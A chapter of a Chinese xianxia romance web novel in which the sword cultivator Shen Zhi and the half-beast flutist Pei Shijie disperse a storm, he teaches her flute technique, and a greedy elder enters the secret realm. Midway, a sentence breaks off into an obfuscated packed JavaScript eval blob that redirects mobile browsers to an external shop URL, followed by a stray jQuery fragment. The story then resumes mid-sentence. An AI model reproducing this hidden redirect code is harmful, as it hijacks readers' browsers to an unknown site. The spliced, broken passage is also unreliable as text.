一夜过去,万虚秘境似乎变得更加死寂,这次,连风声都听不见了,只有零星落叶飘落在地发出的咔咔声,空气中裹挟着腥气、腐叶的潮湿味道,偶尔还飘来一丝带有不明味道的异香。
沈知的直觉告诉她,危机即将来临。
“裴时节,你走前面。”她一手推着裴时节的后背,一手搭在银霜剑上,留意着周围的动静。正屏息凝神着,手臂却被毛茸茸的东西擦过。
裴时节的尾巴大幅度摇晃着,一会碰碰她的头,一会蹭蹭她的手,“你能不能控制一下….它有点妨碍到我了。”沈知一把抓住他作乱的尾巴,无奈道。
裴时节在她刚刚说话前,就已经意识到这个问题了,匆匆低下头,雪白的兽耳尖也泛了红,只能不停嘀咕着:“这也不能怪我啊….我怎么能控制住…..”
两人沉浸在争论中,完全没有注意到,方才还是风平浪静的天空,忽的出现大片黑云,并且迅速向她们的方向汇聚,隐隐有降雷之势。
沈知率先发觉气氛异常,连忙扯住裴时节的衣摆,悄声说道:“情况不对,有东西要来了,准备好。”
语毕,她向前迈了一步,瞬间拔出长剑,抬头望向天空的异观,眉头紧锁,黑云中交织着的电光,直直的映射在沈知的眼眸中,周围隐隐传来野兽的嘶吼声,她在心里盘算着,包里还剩下许多符咒,真遇到无法解决的妖兽,大不了全使出来,实在不行,还有个半妖兽在旁边替自己吸引火力。
她是有点怕的,这是沈知第一次离开剑宗,第一次一个人到外历练,身边熟悉的事物,只有师尊师兄在她临走前准备的物件,昨天碰见的异兽,远远及不上面前这即将来临的威胁,沈知清了清嗓子,垂眸为自己打劲,自己一定可以从这秘境出去的。
裴时节静静地看着她严阵以待的样子,她好像很紧张,她怕吗?
她好像需要我。
裴时节这样认为着。他应该在此刻,为她做些什么,他不想看到她愁眉不展的模样,还是笑起来最适合她,尤其是抱住自己尾巴的时候。
“润物。”
随着裴时节的话,一支碧绿长萧显现在他的手中。萧身通体呈清润透亮的碧色,就如一汪深邃的河水,柔和的绿光在萧周围弥漫流转,没有繁复的雕刻,只有尾端垂落着一缕已经发旧的浅绿流苏。
好漂亮。
这是沈知看到萧后的第一印象,在她眼中,那就如一块上好的翡翠,正漾开轻柔的光芒。她不禁想到,自己的剑,能不能变色呢….如果也是绿色,会不会好看呢。
裴时节没有再给沈知想象的时间,他肩膀处的伤口还在隐隐作痛,但他考虑不了那么多了。
头顶的兽耳向后收起,身后的尾巴也不再摇摆,安静地垂了下来,他修长的手指捧起那支萧,将萧口轻抵唇边,眼神望着地面,长睫阴影遮住了眼眸。
停顿片刻,裴时节深吸一口气,缓缓吐出。随之一阵清越的箫声流淌而出,似乎有意识一般,围绕在沈知的身边打着圈,之后便直冲那令人压抑的黑云。
他的指尖在音孔上起落,偶尔牵动伤口,箫声也未有紊乱。
清幽的乐声缠绕住黑云,一点一点吸收着内里的电光,前面的乐音刚消失,后面的便紧跟而来,丝毫不给它喘息的空间。
沈知虽未完全放松,但刚刚内心的浮躁与不安,仿佛都被这如水的箫声缓缓抚平,这是她出门以来,最安心的一刻。她瞧着黑云渐渐消散,裴时节也似乎快要坚持不住,昨日刚刚凝结的伤口再次挣裂冒出鲜血,能坚持到现在,已是不易。
音修虽看上去只是简单的抚琴击磬,但每催动一秒,其体内的灵力也要不停地消耗,裴时节本就重伤,灵力自然不抵平常,幸好他作为半妖兽,体质比一般人健壮,否则可没有那么多力气支撑到消散黑云。
箫声停止,沈知赶忙上前一把扶住摇摇欲坠的裴时节。
“怎么你这么费丹药,碰见你才第二天,已经被你吃掉三颗了。”沈知一边抱怨,一边掏出师尊给她的疗养丸,塞进了裴时节的嘴里,瞧着他完全吞下,这才带着他走到树边。
她伸手拿过长萧,细细观察着,眼珠一转,主意脱口而出:“诶裴时节,你能不能教我音修功法?当然了,如果你要学剑,我也不是不可以教你。而且你想,把我教会了,我变厉害了,也会多一份保障。怎么样,可以吗?”
“当然可以。”裴时节信誓旦旦道。
听到他的回复,沈知绽开了笑颜,激动之下,将怀中的整瓶丹药取了出来,直接扔到了他的怀里:“给你。”
裴时节的心中平白生出一丝愉悦,这份情绪从何而来呢?他不是很清楚。是因为面前的女孩担心自己吗?还是因为她又露出了笑容?亦或是她让自己教她功法?
他的心绪很久没有这样起伏了,一个喊着尾巴要经常打理,以救命之恩要挟自己的女孩,就这样打破了他黯淡无光,平平无奇的日子,裴时节觉得,这样也挺好的,吵是吵了点,但自己很久没有这么热闹了。
等他再次抬眼,沈知已经举起他的灵器,左看看右瞧瞧,嘴巴也下意识地嘟起,仿佛已经开始期待自己成为音修的那天,裴时节从喉间发出一声低笑,身后的尾巴漫不经心地扫过地面,眼底漾开他都无法想象的温柔笑意。
其实沈知如此高兴并不奇怪,一般修仙者都只专练一种灵器,就如她的师尊师兄,完全成为了合格的剑修,除了和自己缔结契约的灵剑,其他武器一概不碰。
可沈知总是在想,如果哪一天,自己所擅长的武器无法使用时,那不就手无缚鸡之力了?只能任人宰割。她不想那样。她想要除了银霜剑以外的武器,想要除了剑修以外的身份。
“我们先往前走走吧,这里不适宜久留。”
裴时节撑着树缓缓站了起来,沈知给的丹药很有用,他的灵力已经差不多恢复了六成,但昨日和巨兽的缠斗还是太吃力了,身体上的伤痕还需一段时间。
但此处不够安全,刚刚的黑云虽然被击散,潜在的威胁却仍然存在,这时若再来个难缠的异兽,他们危在旦夕。
……..
“裴时节,你的萧吹的这么好,你们宗门居然不重用你吗?”沈知摆弄着面前的火堆,可惜地摇摇头,啧啧一声,“哪怕让你去教外门弟子也好啊,要是我在你们宗门,肯定天天缠着你,非让你把全部的知识都告诉我。”
裴时节从她的手中抢过木枝,按着她坐下:“宗门强者太多,不缺我这一个,况且,他们也不太愿意和我有交集。”
沈知看着他,突然幻视了年少自己收养的黑色幼犬,可能是因为出生便比其他孩子瘦小,它总是缩在墙角,瑟瑟发抖,沈知刚接近它时,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17884383|212497||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
还要承受它的龇牙咧嘴,但相处久了,她发现其实这都是小狗的伪装,看上去不需要陪伴,不需要爱的它,当确定你不会离开它时,便会将自己的一切交给你,全身心的信任你。
她觉得,裴时节这只狗,跟那只幼犬没什么区别,说起别人对自己的远离,一副置之度外的模样,仿佛提起的不是他的事情,心里却不可能不难受。
沈知没来由的有些内疚,靠着报恩要挟他的自己,是不是有点坏了…..她也没做什么吧,不过是借用了尾巴….摸了耳朵…..还把人家的长萧抢了过来……
沈知,你完蛋了!你完全是个趁人之危的大坏蛋啊……
“那个….长萧先还给你,这个也给你,”话罢,她又扔了一瓶灵药到裴时节的手里,还好还好,师尊给了好多,先用这个补偿一下抢走他灵器的事情,“不要还给我!你用着!你之后还得跟我一起走出这个破地方,别提前死了!”
好生别扭的女孩,裴时节微微抬眼望着沈知自顾自烦恼,又在为我担心了吗?我好开心。
…….
与此同时,秘境外。
“确定了吗?里面真的有我们需要的东西?”
一群不知身份的修仙者,围聚在万虚秘境的入口。队伍前方的老者身形佝偻,一双三角眼深陷在皮肉里,浑浊的眼球闪着精光,宽大的黑袍罩住瘦小干瘪的身躯,他抚着自己的胡须,向着身后郑重道:“切勿松懈,想想我们的计划,就差这一步了!进去后,兵分两路搜寻,实在找不到,我们就毁掉这个秘境…..我得不到的东西,别人也休想!”
“遵命。”
老者停留在原地,直至所有人全部进入,刚刚还弯曲的脊背,此刻已然直立。他将双手背在身后,指尖无意识的揉搓着,目光死死地盯着秘境内的光亮,带着毫不掩饰的贪婪,他深吸一口气,发出舒服的叹息,这难闻的气息在他那,似乎成了珍宝…..
“我也该进去了。”
……..
“裴时节,你人还怪好的,这么主动教我。”沈知凑近打量着他的脸,偷偷笑道:我还以为你要拖个十天半个月,等我死乞白赖求你的时候,你才肯屈尊指导我呢。”
“我不是那样的人。”裴时节扶正沈知的身体,调整着她的姿势。
“哎哟,我以为像你这样的音修小天才,都比较高贵嘛….更何况我还以恩挟人….”沈知后面一句说的极其小声,裴时节只能听见略微的几个音节,但从她的表情不难看出,她又在胡思乱想了。
他缓步走到她的身后,高大的身影将她完全笼罩在自己的怀中,裴时节微微俯身,修长的手臂从她身侧环过,微微调整她指尖摆放的位置,头顶的兽耳温顺地耷拉着,嘴角扬起若有若无的笑意。
“注意灵力,气息放缓。”
沈知学得很快,没几遍就找到了精髓。只是无法像裴时节那般,运用自如。
“你觉得我学的怎么样。”沈知兴高采烈,眼神闪着耀眼的光芒。
裴时节已经无心注意她的问题,满脑子沉浸在刚刚的亲密接触中,当时没发现有什么不对,现在细想起来,未免太过冒昧,可是为什么她,一点反应都没有?
没有脸红,没有羞涩,没有尴尬….
只有学会玉萧的成就感。
独留他一个人想入非非。